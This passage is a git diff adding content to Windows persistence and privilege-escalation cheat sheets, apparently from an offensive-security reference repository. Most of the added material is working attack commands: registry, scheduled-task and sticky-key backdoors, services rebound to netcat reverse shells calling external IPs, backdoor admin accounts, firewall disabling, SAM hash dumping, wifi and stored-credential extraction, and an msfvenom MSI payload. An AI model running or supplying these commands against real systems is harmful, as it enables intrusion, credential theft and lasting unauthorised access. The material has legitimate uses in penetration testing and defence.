Key](https://pentestlab.blog/2018/04/10/skeleton-key/) +- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/) diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md index 4873b3db2b..ea1ccb7711 100644 --- a/Methodology and Resources/Windows - Persistence.md +++ b/Methodology and Resources/Windows - Persistence.md @@ -1,5 +1,24 @@ # Windows - Persistence +## Summary + +* [Tools](#tools) +* [Userland](#userland) + * [Registry](#registry) + * [Startup](#startup) + * [Scheduled Task](#scheduled-task) +* [Elevated](#elevated) + * [HKLM](#hklm) + * [Services](#services) + * [Scheduled Task](#scheduled-task) + * [RDP Backdoor](#rdp-backdoor) +* [References](#references) + + +## Tools + +- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist) + ## Userland ### Registry @@ -11,6 +30,14 @@ Value name: Backdoor Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe ``` +Using SharPersist + +```powershell +SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add +SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env +SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add +``` + ### Startup Create a batch script in the user startup folder. @@ -20,6 +47,12 @@ PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe ``` +Using SharPersist + +```powershell +SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add +``` + ### Scheduled Task ```powershell @@ -31,6 +64,25 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:\> Register-ScheduledTask Backdoor -InputObject $D ``` +Using SharPersist + +```powershell +# Add to a current scheduled task +SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add + +# Add new task +SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add +SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly +``` + +## Windows Service + +Using SharPersist + +```powershell +SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add +``` + ## Elevated ### HKLM @@ -63,7 +115,27 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:\> Register-ScheduledTask Backdoor -InputObject $D ``` +### RDP Backdoor + +#### utilman.exe + +At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM. + +```powershell +REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f +``` + +#### sethc.exe + +Hit F5 a bunch of times when you are at the RDP login screen. + +```powershell +REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f +``` + + ## References * [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/) -* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md) \ No newline at end of file +* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md) +* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo) \ No newline at end of file diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index 6ae7f2f2ea..29cebb6d56 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -1,17 +1,79 @@ # Windows - Privilege Escalation +## Summary + +* [Tools](#tools) +* [Windows Version and Configuration](#windows-version-and-configuration) +* [User Enumeration](#user-enumeration) +* [Network Enumeration](#network-enumeration) +* [EoP - Looting for passwords](#eop---looting-for-passwords) + * [SAM and SYSTEM files](#sam-and-system-files) + * [Search for file contents](#search-for-file-contents) + * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) + * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) + * [Passwords in unattend.xml](#passwords-in-unattend.xml) + * [Wifi passwords](#wifi-passwords) + * [Passwords stored in services](#passwords-stored-in-services) + * [Powershell history](#powershell-history) +* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks) +* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services) +* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl) +* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths) +* [EoP - Kernel Exploitation](#eop---kernel-exploitation) +* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated) +* [EoP - Insecure GUI apps](#eop---insecure-gui-apps) +* [EoP - Runas](#eop---runas) +* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system) +* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts) +* [EoP - Impersonation Privileges](#eop---impersonation-privileges) + * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) + * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) + * [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) +* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure) + * [MS08-067 (NetAPI)](#ms08-067-netapi) + * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7) + * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003) + * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012) + * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) + * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) + * [CVE-2019-1388](#cve-2019-1388) +* [References](#references) + ## Tools +- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit) + ```powershell + powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks + ``` - [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson) - [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock) + ```powershell + powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1 + ``` - [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) - [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) + ```powershell + ./windows-exploit-suggester.py --update + ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt + ``` - [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check) +- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits) +- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum) +- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt) +- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless) +- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS) + ```powershell + powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt + ``` ## Windows Version and Configuration ```powershell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" +``` + +Extract patchs and updates +```powershell wmic qfe ``` @@ -55,7 +117,6 @@ List all users ```powershell net user -net users whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name @@ -120,10 +181,28 @@ List all current connections netstat -ano ``` -List firware state and current configuration +List firewall state and current configuration ```powershell netsh advfirewall firewall dump + +or + +netsh firewall show state +netsh firewall show config +``` + +List firewall's blocked ports + +```powershell +$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports +``` + +Disable firewall + +```powershell +netsh firewall set opmode disable +netsh advfirewall set allprofiles state off ``` List all network shares @@ -139,11 +218,14 @@ reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` -## Looting for passwords +## EoP - Looting for passwords ### SAM and SYSTEM files +The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. + ```powershell +# Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM @@ -152,24 +234,46 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse %SYSTEMROOT%\System32\config\RegBack\system ``` -### Search for file contents** +Generate a hash file for John using `pwdump` or `samdump2`. + +```powershell +pwdump SYSTEM SAM > /root/sam.txt +samdump2 SYSTEM SAM -o sam.txt +``` + +Then crack it with `john -format=NT /root/sam.txt`. + +### Search for file contents ```powershell cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config +findstr /spin "password" *.* ``` ### Search for a file with a certain filename ```powershell dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* +where /R C:\ user.txt +where /R C:\ *.ini ``` -### Search the registry for key names +### Search the registry for key names and passwords ```powershell REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K + +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" +reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials +reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials +reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password + +reg query HKLM /f password /t REG_SZ /s +reg query HKCU /f password /t REG_SZ /s ``` ### Read a value of a certain sub key @@ -180,7 +284,7 @@ REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList ### Passwords in unattend.xml -Location of the unattend.xml files +Location of the unattend.xml files. ```powershell C:\unattend.xml @@ -190,12 +294,14 @@ C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ``` +Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`. + Example content ```powershell - *SENSITIVE*DATA*DELETED* + U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== true Administrateur @@ -211,6 +317,13 @@ Example content ``` +Unattend credentials are stored in base64 and can be decoded manually with base64. + +```powershell +$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d +SecretSecurePassword1234* +``` + The Metasploit module `post/windows/gather/enum_unattend` looks for these files. ### IIS Web config @@ -224,7 +337,68 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` -## Processes Enumeration and Tasks +### Other files + +```bat +%SYSTEMDRIVE%\pagefile.sys +%WINDIR%\debug\NetSetup.log +%WINDIR%\repair\sam +%WINDIR%\repair\system +%WINDIR%\repair\software, %WINDIR%\repair\security +%WINDIR%\iis6.log +%WINDIR%\system32\config\AppEvent.Evt +%WINDIR%\system32\config\SecEvent.Evt +%WINDIR%\system32\config\default.sav +%WINDIR%\system32\config\security.sav +%WINDIR%\system32\config\software.sav +%WINDIR%\system32\config\system.sav +%WINDIR%\system32\CCM\logs\*.log +%USERPROFILE%\ntuser.dat +%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat +%WINDIR%\System32\drivers\etc\hosts +dir c:*vnc.ini /s /b +dir c:*ultravnc.ini /s /b +``` + +### Wifi passwords + +Find AP SSID +```bat +netsh wlan show profile +``` + +Get Cleartext Pass +```bat +netsh wlan show profile key=clear +``` + +Oneliner method to extract wifi passwords from all the access point. + +```batch +cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on +``` + +### Passwords stored in services + +Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher) + + +```powershell +https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 +Import-Module path\to\SessionGopher.ps1; +Invoke-SessionGopher -AllDomain -o +Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss +``` + +### Powershell history + +```powershell +type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt +cat (Get-PSReadlineOption).HistorySavePath +cat (Get-PSReadlineOption).HistorySavePath | sls passw +``` + +## EoP - Processes Enumeration and Tasks What processes are running? @@ -255,10 +429,19 @@ Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,Last Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` +List services + +```powershell +net start +wmic service list brief +tasklist /SVC +``` + Scheduled tasks ```powershell schtasks /query /fo LIST 2>nul | findstr TaskName +schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` @@ -273,16 +456,112 @@ dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" ``` +## EoP - Incorrect permissions in services + +> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system. + +Often, services are pointing to writeable locations: +- Orphaned installs, not installed anymore but still exist in startup +- DLL Hijacking +- PATH directories with weak permissions + +```powershell +$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt +$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" + +$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt +FOR /F %i in (Servicenames.txt) DO echo %i +type Servicenames.txt +FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt +FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt +``` + +Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions` + +Note to check file permissions you can use `cacls` and `icacls` +> icacls (Windows Vista +) +> cacls (Windows XP) + +You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output. + +### Example with Windows 10 - CVE-2019-1322 UsoSvc + +Prerequisite: Service account + +```powershell +PS C:\Windows\system32> sc.exe stop UsoSvc +PS C:\Windows\system32> sc.exe config UsoSvc binPath="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\a.txt" +PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe" +PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe" +PS C:\Windows\system32> sc.exe qc usosvc +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: usosvc + TYPE : 20 WIN32_SHARE_PROCESS + START_TYPE : 2 AUTO_START (DELAYED) + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : Update Orchestrator Service + DEPENDENCIES : rpcss + SERVICE_START_NAME : LocalSystem + +PS C:\Windows\system32> sc.exe start UsoSvc +``` + +### Example with Windows XP SP1 - upnphost -## Using PowerSploit's PowerUp +```powershell +# NOTE: spaces are mandatory for this exploit to work ! +sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" +sc config upnphost obj= ".\LocalSystem" password= "" +sc qc upnphost +sc config upnphost depend= "" +net start upnphost +``` -Spot the weak service using PowerSploit's PowerUp +If it fails because of a missing dependency, try the following commands. ```powershell -powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks +sc config SSDPSRV start=auto +net start SSDPSRV +net stop upnphost +net start upnphost + +sc config upnphost depend="" +``` + +Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe) + +```powershell +$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula +RW SSDPSRV + SERVICE_ALL_ACCESS +RW upnphost + SERVICE_ALL_ACCESS + +$ accesschk.exe -ucqv upnphost +upnphost + RW NT AUTHORITY\SYSTEM + SERVICE_ALL_ACCESS + RW BUILTIN\Administrators + SERVICE_ALL_ACCESS + RW NT AUTHORITY\Authenticated Users + SERVICE_ALL_ACCESS + RW BUILTIN\Power Users + SERVICE_ALL_ACCESS + +$ sc config binpath="net user backdoor backdoor123 /add" +$ sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" +$ sc stop +$ sc start +$ sc config binpath="net localgroup Administrators backdoor /add" +$ sc stop +$ sc start ``` -## Using Windows Subsystem for Linux (WSL) +## EoP - Windows Subsystem for Linux (WSL) Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032) @@ -295,50 +574,358 @@ wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -## Unquoted Service Paths +Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` + +Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` + +## EoP - Unquoted Service Paths The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first. ```powershell -wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """ +wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ + +wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -## Kernel Exploit +Metasploit provides the exploit : `exploit/windows/local/trusted_service_path` + +### Example + +For `C:\Program Files\something\legit.exe`, Windows will try the following paths first: +- `C:\Program.exe` +- `C:\Program Files.exe` + + +## EoP - Kernel Exploitation List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) ##### #Security Bulletin   #KB     #Description    #Operating System -- [MS17-017](./MS17-017)  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8) -- [CVE-2017-8464](./CVE-2017-8464)  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008) -- [CVE-2017-0213](./CVE-2017-0213)  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008) -- [CVE-2018-0833](./CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2) -- [CVE-2018-8120](./CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1) -- [MS17-010](./MS17-010)  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP) -- [MS16-135](./MS16-135)  [KB3199135]  [Windows Kernel Mode Drivers]  (2016) -- [MS16-111](./MS16-111)  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1) -- [MS16-098](./MS16-098)  [KB3178466]  [Kernel Driver]  (Win 8.1) -- [MS16-075](./MS16-075)  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012) -- [MS16-034](./MS16-034)  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012) -- [MS16-032](./MS16-032)  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012) -- [MS16-016](./MS16-016)  [KB3136041]  [WebDAV]  (2008/Vista/7) -- [MS16-014](./MS16-014)  [K3134228]  [remote code execution]  (2008/Vista/7) +- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017)  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8) +- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464)  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008) +- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213)  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008) +- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2) +- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1) +- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010)  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP) +- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135)  [KB3199135]  [Windows Kernel Mode Drivers]  (2016) +- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111)  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1) +- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098)  [KB3178466]  [Kernel Driver]  (Win 8.1) +- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012) +- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034)  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012) +- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032)  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012) +- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016)  [KB3136041]  [WebDAV]  (2008/Vista/7) +- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014)  [K3134228]  [remote code execution]  (2008/Vista/7) ... - [MS03-026](./MS03-026)  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003) +To cross compile a program from Kali, use the following command. + +```powershell +Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c +``` + +## EoP - AlwaysInstallElevated + +Check if these registry values are set to "1". + +```bat +$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated +$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated +``` + +Then create an MSI package and install it. + +```powershell +$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi +$ msiexec /quiet /qn /i C:\evil.msi +``` + +Technique also available in Metasploit : `exploit/windows/local/always_install_elevated` + +## EoP - Insecure GUI apps + +Application running as SYSTEM allowing an user to spawn a CMD, or browse directories. + +Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" + +## EoP - Runas + +Use the `cmdkey` to list the stored credentials on the machine. + +```powershell +cmdkey /list +Currently stored credentials: + Target: Domain:interactive=WORKGROUP\Administrator + Type: Domain Password + User: WORKGROUP\Administrator +``` + +Then you can use `runas` with the `/savecred` options in order to use the saved credentials. +The following example is calling a remote binary via an SMB share. +```powershell +runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" +``` + +Using `runas` with a provided set of credential. + +```powershell +C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" +``` + +```powershell +$ secpasswd = ConvertTo-SecureString "" -AsPlainText -Force +$ mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) +$ computer = "" +[System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) +``` + +## EoP - From local administrator to NT SYSTEM + +```powershell +PsExec.exe -i -s cmd.exe +``` + +## EoP - Living Off The Land Binaries and Scripts + +Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/ + +> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques. + +A LOLBin/Lib/Script must: + +* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. +Have extra "unexpected" functionality. It is not interesting to document intended use cases. +Exceptions are application whitelisting bypasses +* Have functionality that would be useful to an APT or red team + +```powershell +wmic.exe process call create calc +regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll +Microsoft.Workflow.Compiler.exe tests.xml results.xml +``` + +## EoP - Impersonation Privileges + +Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. + +| Privilege | Impact | Tool | Execution path | Remarks | +| --- | --- | --- | --- | --- | +|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | +|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter. | +|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. || +|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)
2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) | +|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U| Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | +|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`
2. `icalcs.exe "%windir%\system32" /grant "%username%":F`
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U| Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | +|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.

